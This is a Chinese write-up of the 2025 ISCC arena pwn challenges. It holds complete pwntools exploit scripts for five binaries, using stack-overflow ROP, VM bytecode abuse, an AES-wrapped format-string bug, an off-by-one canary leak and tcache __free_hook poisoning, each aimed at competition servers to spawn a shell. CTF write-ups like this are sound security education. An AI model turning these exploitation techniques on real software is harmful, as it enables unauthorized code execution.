前言

相比练武赛,擂台赛的题目指令还是要高很多的,里面都是师傅们用心出的题目,感觉创新度还是有的,但是为什么那么多vm pwn???

通过网盘分享的文件:2025ISCC擂台赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1y_zdFltMZmCxfxalS9EuCw?pwd=xidp 提取码: xidp

解出

能力有限,很多方法可能并不是最优解,如果有师傅有更方便的方法愿意分享的话我会非非非常感谢的

call

checksec查看程序保护,发现程序没有开启pie保护以及canary保护

程序存在明显的栈溢出

直接溢出打ROP泄露libc地址然后执行system("/bin/sh")即可
完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./call"
libc_path = './libc6_2.31-0ubuntu9.17_amd64.so'
ip = '101.200.155.151:12100'
# 1-远程 其他-本地

link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']

#---------------------初始化-----------------------------

#---------------------debug------------------------------

# 断点
cmd = """
    set follow-fork-mode parent\n
    """
bps = []
#---------------------debug-------------------------------
# pwndbg(0, bps, cmd)
pop_rdi_ret = 0x0000000000401273#: pop rdi; ret
pop_rsi_r_ret = 0x0000000000401271#: pop rsi; pop r15; ret;
ret = 0x000000000040101a#: ret;
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r_ret)
payload += p64(elf.got['write'])
payload += p64(0)
payload += p64(elf.plt['write'])
payload += p64(elf.sym['main'])
sdla("My name is\n", payload)

write_addr = uu64()
leak("write_addr")
libc_base = write_addr - libc.sym['write']  
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a'*0x68
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
sdla("My name is\n", payload)

ia()

vm_pwn

保护全开的一道vm pwn题

程序逻辑比较常规,放入deepseek也可以分析出大概,总之程序的大致逻辑就是先让用户输入一大段内容当做后续的指令来执行
本题相对简单不过多阐述逆向过程,主要在于使用gdb去调试,查看输入的值被移动到了什么地方,为了方便读者逆向下面提供我已经逆向出的结构体,导入IDA中即可使用

1
2
3
4
5
6
7
8
struct VMContext {
uint64_t regs[4];
uint64_t ip_offset;
uint64_t *rsp;
uint64_t *code_base;
uint64_t reserved;
uint64_t *rbp;
};

导入方法可以参考这篇文章:IDA技巧——结构体-软件逆向-看雪-安全社区|安全招聘|kanxue.com

各函数的分析结果如下:

1
2
3
4
sub_12D5 → vm_fetch_opcode // 从指令流中读取1字节操作码
sub_132C → vm_read_imm_qword // 从指令流读取8字节立即数(用于MOV等指令的立即数操作)
sub_1393 → vm_stack_push // 压栈操作(带栈溢出检查)
sub_1432 → vm_stack_pop // 出栈操作(带栈溢出检查)

各个分支的分析结果如下

操作码 指令名称 行为描述
0x00 MOV REG, IMM 将立即数存入寄存器
0x01 LOAD REG, [MEM] 从内存加载数据到寄存器
0x02 STORE [MEM], REG 将寄存器值存入内存
0x03 MOV REG1, REG2 寄存器间数据传输
0x04 CALL 函数调用(压栈返回地址)
0x05 POP REG 弹栈到寄存器
0x06 EXECUTE 执行函数指针
0x07 JMP IMM 无条件跳转到指定地址
0x08 RET 从函数返回
0x09 NOP 空操作
0x0A ADD REG, IMM 寄存器加立即数
0x0B SUB REG, IMM 寄存器减立即数
分析后的程序如下

这里先给出完整的exp,exp上面写出了我的利用过程以及每个选项的作用供大家理解分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from xidp import *

#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn2"
libc_path = './libc.so.6'
ip = '101.200.155.151:20000'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent
    x/60gx $rebase(0x4000)
    heap
    """
# 断点
bps = [0x014FF]
#---------------------debug-------------------------------

def mov_imm(reg, imm):
    """操作码 0x00: 将 8 字节立即数存入寄存器"""
    """0x00, reg_idx, <8B立即数>"""
    return flat(p8(0), p8(reg, signed=True), p64(imm, signed=True))  

def load_ptr_reg(ptr_reg_addr, target_reg):
    """操作码 0x01: 寄存器间接加载 (src -> dst)"""
    """0x01, target_reg = *ptr_reg_addr"""
    return flat(
            p8(1),
            p8(ptr_reg_addr, signed=True),  # 允许为负数
            p8(target_reg, signed=True)
            )

def store_ptr_reg(reg, target_reg):
    """操作码 0x02: 寄存器间接存储 (src -> [dst])"""
    """0x02, *target_reg = reg"""
    return flat(p8(2), p8(reg), p8(target_reg))  # <bb + b → p8+p8+p8

def mov_reg1_reg2(reg1, reg2):
    """操作码 0x03: 寄存器间移动 (src -> dst)"""
    """0x03, reg2 = reg1"""
    return flat(p8(3), p8(reg1), p8(reg2))  # <bb + b → p8+p8+p8

def push(reg_idx):
    """操作码 0x04: 压栈"""
    """0x04, push reg; stack_rbp-0x8"""
    return flat(p8(4), p8(reg_idx))  # <bB → p8+p8

def pop(reg_idx):
    """操作码 0x05: 出栈"""
    """0x05, pop reg stack_rbp+0x8"""
    return flat(p8(5), p8(reg_idx))  # <bB → p8+p8

def call(reg_idx):
    """操作码 0x06: 调用寄存器指向的函数"""
    """call reg"""
    return flat(p8(6), p8(reg_idx))  # <bB → p8+p8

def jmp_reg(reg_idx):
    """操作码 0x07: 跳转寄存器指向的地址"""
    """0x07, jmp reg 但是对跳转的范围有限制,所以我们不使用他"""
    return flat(p8(7), p8(reg_idx))  # <bB → p8+p8

def vm_exit():
    """操作码 0x08: 虚拟机退出"""
    return p8(8)  # b → p8

def add(reg, imm):
    """操作码 0x0A: 寄存器加立即数"""
    return flat(p8(0xA), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

def sub(reg, imm):
    """操作码 0x0B: 寄存器减立即数"""
    return flat(p8(0xB), p8(reg), p64(imm))  # <bbQ → p8+p8+p64

puts_offset = libc.sym['puts']
system_offset = puts_offset- libc.sym['system']
bin_sh_offset = next(libc.search(b'/bin/sh')) - puts_offset

leak("puts_offset")
leak("system_offset")
leak("bin_sh_offset")

# VM_list = 0x04060

pwndbg(1, bps, cmd)

payload = load_ptr_reg(-11, 1)
payload += sub(1, 0x78)
payload += load_ptr_reg(1, 0)
payload += load_ptr_reg(1, 2)
payload += add(0, bin_sh_offset)
payload += sub(4, system_offset)
payload += call(4)

put(payload)

sda("Enter bytecode: ", payload)

ia()

利用思路:

  1. 既然我们有call的功能,那么我们只需要让 reg0binsh地址 然后随便找个寄存器放入 system的地址 然后call一下就可以了

  2. 那么我们就需要知道libc的基地址然后再libc中利用偏移找到binsh地址和system地址就可以了

  3. 想要知道libc基地址其实我们也很容易想到就是去got表里面拿,那么我们想要知道got表的地址就需要知道程序基地址

  4. 经过调试我们可以注意到 0x04008 off_4008 里面存放的指针是指向他自己的


  5. 那么我们就可以利用这个地址获得got表地址,然后通过got表中的内容得到libc地址,再通过libc地址得到我们需要的binsh和system,最后call一下就拿到shell了

exp的利用过程如下

  1. 执行 load_ptr_reg(-11, 1)sub(1, 0x78)
    先将这个地址放入到reg1寄存器中,然后通过加减把它变成指向puts的got表


  2. 然后通过 load_ptr_reg(1, 0) load_ptr_reg(1, 2) 两条指令将 puts_addr 放入 reg0reg2

  3. add(0, bin_sh_offset) sub(2, system_offset) 通过对于偏移量的加减分别计算出 binshsystem地址

  4. 直接 call~~~~~~~~ 拿到shell

Enc++

导入sig恢复部分的符号表
下面是导入 libc6_2.35-0ubuntu3_amd64.sig 后的main函数的样子

漏洞点在main函数中存在格式化字符串的漏洞,sub_406142函数中存在read溢出

经过分析程序的大致逻辑就是说让用户输入,然后用户输入的东西会经过解密,然后成为printf的参数,在下面符合条件 qword_932170 == 1 就可以进入sub_406142函数中利用read溢出打ret2syscall

那么其实逻辑也很简单,就是分析这个加密解密的过程,我们自己将加密的东西输入让程序解密,以此来利用格式化字符串来泄露canary和修改qword_932170全局变量

这里可能疑惑的点是为什么有canary,明明checksec显示是没有的,可能是因为老版本的checksec是利用函数名字来判断有无canary的,符号表被去掉后就分析不出来了

分析可知加密逻辑如下:

1
2
3
4
程序对接收到的数据进行Base64解码后,按照以下规范解析加密参数: 
1.32字节作为AES-256-CBC加密密钥(KEY)
2. 紧随的16字节作为初始化向量(IV)
3. 剩余部分作为待解密的密文(miwen)

程序可以循环两次,一次用于泄露canary,以此用于修改qword_932170

在IDA中查看字符串可以发现/bin/sh,这像是一个提示,和/bin/sh 一起的还有我们解密所需要的密钥和向量

用AI分析跑出一个加密脚本

1
2
3
4
5
6
7
8
9
# AES configuration
AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"

def aes_encrypt(plaintext: bytes) -> bytes:
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
padding = b"\x00" * (16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(plaintext + padding)
return base64.b64encode(ciphertext).decode('utf-8')

运行到 call printf 处查看栈内存,题目已经将 qword_932170的地址 放入栈中以此来减少我们的难度

然后就是非常简单的使用格式化字符串泄露和修改随后打read溢出的ret2syscall

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from xidp import *
from Crypto.Cipher import AES
from base64 import b64encode
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:21000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = [0x406262, 0x4062A2]
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

pop_rax_ret = 0x0000000000411dc6#: pop rax; ret;
pop_rdi_ret = 0x000000000040788b#: pop rdi; ret;
pop_rsi_ret = 0x000000000040797b#: pop rsi; ret;
pop_rdx_ret = 0x00000000004bc453#: pop rdx; ret;
syscall_ret = 0x0000000000707d66#: syscall; ret;
syscall = 0x00000000004c2e22#: syscall;
binsh = 0x00000000007c70c2#: /bin/sh

# pwndbg(0, bps, cmd)

AES_KEY = b"aewfdefsebrfcyiseygfeaisfygaseiw"
AES_IV = b"iscc20250ca81aff"


def aes_encrypt(plaintext: bytes) -> bytes:
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
padding = b"\x00" * (16 - len(plaintext) % 16)
ciphertext = cipher.encrypt(plaintext + padding)
combined = AES_KEY + AES_IV + ciphertext
return base64.b64encode(combined).decode('utf-8')

# pwndbg(0, bps, cmd)

# 泄露canary
payload = aes_encrypt(b"%15$p_aaaa")
sdla("please input your date:", payload)
canary = eval(io.recvuntil(b'_aaaa', drop=True))
leak("canary")

# 修改qword_932170
payload = aes_encrypt(b"%c%7$n")
sdla("please input your date:", payload)


payload = b'a'*40
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(syscall)
sdl(payload)

ia()

好累啊,感觉快燃尽了

book_manager

漏洞点在 main->search->sub_402262main->display
这里有off-by-one漏洞,可以通过v12覆盖掉canary结尾的\x00以此使得printf能够泄露canary的值

在display中将输出的数据都放入的v22和v23中,但是没有检查,所以我们可以通过大量构造book结构体以此来达成溢出

这里 a1 其实是一个结构体,需要修复一下的,具体如下,修复后就如上图所示了

1
2
3
4
5
6
7
8
9
10
11
struct BookInfo
{
int ID;
char Title[50];
_BYTE gap36[2];
__int64 TitleLength;
char Author[30];
__int64 AuthorLength;
char Publisher[40];
__int64 PublisherLength;
};

所以我们的利用方法就是,先使用search来获得canary,然后利用add创建多个book用于溢出
得到canary后构造携带ROP的books,计算好溢出,使用save保存后调用display函数就可以溢出打ROP
我们构造的ROP里面是调用load函数去打开flag文件并且输出

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./book_manager"
libc_path = ''
ip = '101.200.155.151:23000'

# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    hex 0x04E9580 2000\n
    """
# 断点
bps = [0x0040345B]
#---------------------debug-------------------------------
def add(title = b'a'*50, author = b'a'*30, publisher = b'a'*40):
    sdla(b'>', b'1')
    sda(b'Title', title)
    sda(b'Author', author)
    sda(b'Publisher', publisher)
   
def dele(idx):
    sdla(b'>', b'2')
    sdla(b'Enter book ID to delete: ', str(idx))

def modify(idx):
    sdla(b'>', b'3')
    sdla(b'Please choose: ', str(1))
    sdla(b'Enter book ID to modify: ', str(idx))

def search(name):
    sdla(b'>', b'4')
    sdla(b'Please choose: ', str(2))
    sdla(b'Enter author name: ', name)

def display():
    sdla(b'>', b'5')

def save():
    sdla(b'>', b'6')

def sort():
    sdla(b'>', b'7')

def load():
    sdla(b'>', b'8')

flag_addr = 0x4e9b2d # 因为程序没有pie所以这个是固定地址
load_func = 0x40340C
pop_rdi_ret = 0x0000000000401a42
ret = 0x0000000000401a43

# 这里使用一个search函数来泄露canary
sdla(b'>', b'4')
sdla(b'choose', b'2')
sda(b'name', b'a' * 40)
rcu(b'a'*40 + b'\n')
canary = u64(rc(7).ljust(8, b'\x00')) << 8
leak("canary")

# 多次填充
for i in range(8):
    add(b'a'*50, b'b'*30, b'c'*40) # 一个为0x99
add(b'a'*12, b'b'*1, b'c'*3)

# pwndbg(0, bps, cmd)
payload = p64(canary) + p64(0) + p64(ret) + p64(pop_rdi_ret) + p64(flag_addr) + p64(load_func)
# add(payload, b'a'*20 + b'\x00./flag\x00\x00\x00', b'a'*40) #本地
add(payload, b'a'*20 + b'\x00/flag\x00\x00\x00\x00', b'a'*40) #远程

save() # 保存一下
display() # 会将books的内容以及标题放入栈中,没有进行检测,存在溢出

# pwndbg(0, bps, cmd)

ia()

感受是一道很有创新的题目呢

迷途之子

里面有一个迷宫游戏,用AI写一个迷宫脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from collections import deque
from typing import List, Tuple, Optional

class MazeNavigator:

    MAZE_SIZE = 256
    TARGET_FLAG = (0x80, 0x80)
    def __init__(self, maze_data: List[int]):
        self.maze = self._normalize_maze(maze_data)
        self.movement = [  # 移动方向配置
            {'dx': 0, 'dy': 1, 'code': 'd'},  # 右
            {'dx': 1, 'dy': 0, 'code': 's'},  # 下
            {'dx': 0, 'dy': -1, 'code': 'a'}, # 左
            {'dx': -1, 'dy': 0, 'code': 'w'}  # 上
        ]

    def _normalize_maze(self, data: List[int]) -> List[List[int]]:
        if isinstance(data[0], int):
            return [data[i*self.MAZE_SIZE:(i+1)*self.MAZE_SIZE]
                   for i in range(self.MAZE_SIZE)]
        return data
       
    def _update_flags(self, move: str, curr_flags: Tuple[int, int]) -> Tuple[int, int]:
        f1, f2 = curr_flags
        if move == 'a':
            return (max(0, f1 - 1), f2)
        if move == 'd':
            return (min(0xFF, f1 + 1), f2)
        if move == 'w':
            return (f1, max(0, f2 - 1))
        if move == 's':
            return (f1, min(0xFF, f2 + 1))
        return curr_flags

    def find_optimal_path(self) -> Optional[str]:
        State = Tuple[int, int, List[str], int, int]
        initial_state: State = (0, 0, [], 0x00, 0x00)
        bfs_queue = deque([initial_state])
        visited_states = set()
        while bfs_queue:
            x, y, path, flag_a, flag_d = bfs_queue.popleft()
            # 终止条件检查
            if (flag_a, flag_d) == self.TARGET_FLAG:
                return ''.join(path)
            # 状态去重
            state_key = (x, y, flag_a, flag_d)
            if state_key in visited_states:
                continue
            visited_states.add(state_key)
            # 遍历移动方向
            for direction in self.movement:
                new_x = x + direction['dx']
                new_y = y + direction['dy']
                # 边界和障碍检查
                if not (0 <= new_x < self.MAZE_SIZE and 0 <= new_y < self.MAZE_SIZE):
                    continue
                if self.maze[new_x][new_y] != 0:
                    continue
                # 更新状态
                new_flags = self._update_flags(direction['code'], (flag_a, flag_d))
                new_path = path + [direction['code']]
                bfs_queue.append( (new_x, new_y, new_path, *new_flags) )
        return None

if __name__ == '__main__':
    # 初始化迷宫数据
    maze_data = []  # 这里填充实际迷宫数据
    navigator = MazeNavigator(maze_data)
    result_path = navigator.find_optimal_path()
    if result_path:
        print(f"成功生成路径,长度:{len(result_path)}")
        try:
            with open("maze_solution.txt", "w") as output_file:
                output_file.write(result_path)
        except IOError as e:
            print(f"写入文件失败:{str(e)}")
    else:
        print("未找到可行路径")

得到结果,需要在最后加上一个q用于退出

解决这个迷宫之后我们就可以得到read函数的地址,也就是白送一个libc地址

然后下面就是堆题

但是这个堆本身没有什么漏洞,漏洞在迷宫当中,迷宫中的选项 s 会将user[0]也就是第一个堆块的低字节的第三位+1,从此导致堆块发生重叠

执行 game("sq") 之前

执行 game("sq") 之后

我们可以观察到 0x55555556b2a0next指针0x000055555556b2d0 变成了 0x000055555556b3d0
这就是game中的漏洞,由此我们可以造成堆块重叠

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn_patched"
libc_path = './libc.so.6'
ip = '101.200.155.151:22000'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    x/30gx $rebase(0x0014080)\n
    x/30gx $rebase(0x14070)\n
    """
# 断点
bps = [0x0017A0]
#---------------------debug-------------------------------
#----------------------heap_menu--------------------------
menu = ">>"  
def add(content = b"xidp"):  
    sdla(menu, str(1))  
    sda("Enter name (up to 24 chars):", content)  

def free(idx):  
    sdla(menu, str(2))  
    sda("Index:", str(idx))  

def edit(idx, content = "xidp"):  
    sdla(menu, str(3))  
    sdla("Index: ", str(idx))  
    sda("New name:", content)  

def game(payload):  
    sdla(menu, str(4))  
    sda("Game started! (WASD to move, Q to quit)", payload)
#--------------------------heap_menu--------------

game_payload = "ddsdddssdddddddsssdssddsdddssssddssssdssssddddddssdddsdsdsdssssssssddsssssddsssdsssssssssssddddssssddssssdsdssdssddssssssssssddddsssssdsddddsssdddddddsssdsssdddsdddsssssdsdsdddsddddsssssdssdddddsssssddddsdddsdsdddddddddddddsssdssssdddsdsddddddsddddddssdddsq"

add() # 这里需要创建一个初始chunk后续才能进入game中
game(game_payload)
read_addr = uu64()
leak("read_addr")
libc_base = read_addr - libc.sym['read']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
leak("libc_base")
leak("free_hook")
leak("system_addr")
leak("bin_sh")


for i in range(7):
    add()  

# 倒序释放将tcahcebins的0x30填满
for i in range(6, -1, -1):
    free(i)


# pwndbg(1, bps, cmd)

# 这会修改usrs[0]的低三位+1,从而导致bins结构发生重叠
game("sq")
payload = p64(0) + p64(free_hook-0x8)
edit(6, payload)
add()
add()
add(p64(system_addr))

payload = p64(0) + b'/bin/sh\x00'
edit(6, payload)
# pwndbg(1, bps, cmd)
free(1)

ia()

mini pwn

我干啊,又是VM pwn

程序开始时qword_40C0为1
Case5中有一个syscall,我们可以构造execve(“/bin/sh”, 0, 0),构造之前需要设置qword_40C0为0
在case3中,开始就会将qword_40C0设置为0, 随后会执行如下图字节码,
它将设置系统调用号为0,然后执行syscall,再自动执行case 4
Case4中,会判断v5 = *(qword_4060 + 4024) == 0;,通过判断结果来重新设置LOBYTE(qword_40C0) = !v5;在默认情况下qword_40C0会被设置为1,所以可以利用程序中的机器码unk_20B4 来构造read(0, (qword_4060 + 4024), 0x100)从而使得(qword_4060 + 4024) == 0;成立,使得v5为1,最终得到qword_40C0为0,随后就可以利用syscall来构造execve(“/bin/sh”, 0, 0),从而得到shell

抽象exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'

challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:24000'

# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)

debug(0)            # 其他-debug   1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------

#---------------------debug------------------------------
# 自定义cmd
cmd = """
    set follow-fork-mode parent\n
    """
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)

opcodes = b''
operands = b''

def pop_reg0(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 0)
    operands += struct.pack("<Q", imm)
def pop_reg0_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 1)
    operands += struct.pack("<Q", imm)
def pop_reg1(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 2)
    operands += struct.pack("<Q", imm)
def pop_reg1_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 3)
    operands += struct.pack("<Q", imm)
def pop_reg2(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 4)
    operands += struct.pack("<Q", imm)
def pop_reg3_8(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 5)
    operands += struct.pack("<Q", imm)
def pop_reg3(imm):
    global opcodes, operands
    opcodes += struct.pack("<bb", 1, 6)
    operands += struct.pack("<Q", imm)

def push_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 2, 0)
def push_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 1)
def push_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 2, 2)
def push_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 3)
def push_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 2, 4)
def push_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 2, 5)
def push_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 2, 6)
def xor_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 6, 0)
def xor_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 1)
def xor_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 6, 2)
def xor_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 3)
def xor_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 6, 4)
def xor_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 6, 5)
def xor_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 6, 6)

def add_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 7, 0)
def add_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 1)
def add_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 7, 2)
def add_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 3)
def add_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 7, 4)
def add_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 7, 5)
def add_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 7, 6)

def sub_reg0():
    global opcodes
    opcodes += struct.pack("<bb", 8, 0)
def sub_reg0_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 1)
def sub_reg1():
    global opcodes
    opcodes += struct.pack("<bb", 8, 2)
def sub_reg1_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 3)
def sub_reg2():
    global opcodes
    opcodes += struct.pack("<bb", 8, 4)
def sub_reg3_8():
    global opcodes
    opcodes += struct.pack("<bb", 8, 5)
def sub_reg3():
    global opcodes
    opcodes += struct.pack("<bb", 8, 6)
def flag():
    global opcodes
    opcodes += struct.pack("<b", 3)
def sys():
    global opcodes
    opcodes += struct.pack("<b", 5)

# 虽然上面定义了很多函数,但是实际用到的没几个
pop_reg0(0x3b)  
pop_reg1_8(0x8) # read(0, flag, 0x10)  --> reg1_8=0x10
push_reg3()  
pop_reg1(1)  
[add_reg1() for i in range(1014)]       # reg1=flag_addr
flag()
push_reg3()    
pop_reg0_8(1)
[add_reg0_8() for i in range(3)]
xor_reg1()
xor_reg1_8()
xor_reg2()
sys()
xor_reg3()
operands += b'/bin/sh\x00'
sdl(operands)
sdl(opcodes)
sdl(p64(0))

ia()

未解出

太多了,实在是打不动了,有空再复现吧,如果有师傅做出来下面我没有解出的题目非常欢迎来和我交流

命令执行器

复读机

安全云盘

Bash